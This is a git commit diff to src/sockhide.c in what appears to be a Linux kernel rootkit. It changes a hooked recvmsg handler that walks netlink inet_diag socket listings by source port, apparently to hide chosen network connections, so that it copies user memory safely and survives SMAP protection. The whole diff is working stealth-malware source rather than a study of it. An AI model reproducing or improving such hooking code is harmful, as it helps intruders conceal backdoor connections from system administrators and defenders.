commit d87ae4a8143b805ddbb998a0a320e7e9f6604f33 parent bb9029d71dbd4fa5632e7a711f0281febeab1dfd Author: deurzen <m.deurzen@tum.de> Date: Sun, 13 Dec 2020 04:57:25 +0100 fixes smap issue Diffstat:
M | src/sockhide.c | | | 5 | +++-- |
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/src/sockhide.c b/src/sockhide.c @@ -171,8 +171,9 @@ g7_recvmsg(struct pt_regs *pt_regs) if ((len = ret = sys_recvmsg(pt_regs)) < 0) return ret; - nh = (struct nlmsghdr *) - ((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base; + copy_from_user(nh, + (struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base, + sizeof(struct nlmsghdr)); while (NLMSG_OK(nh, len)) { int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport);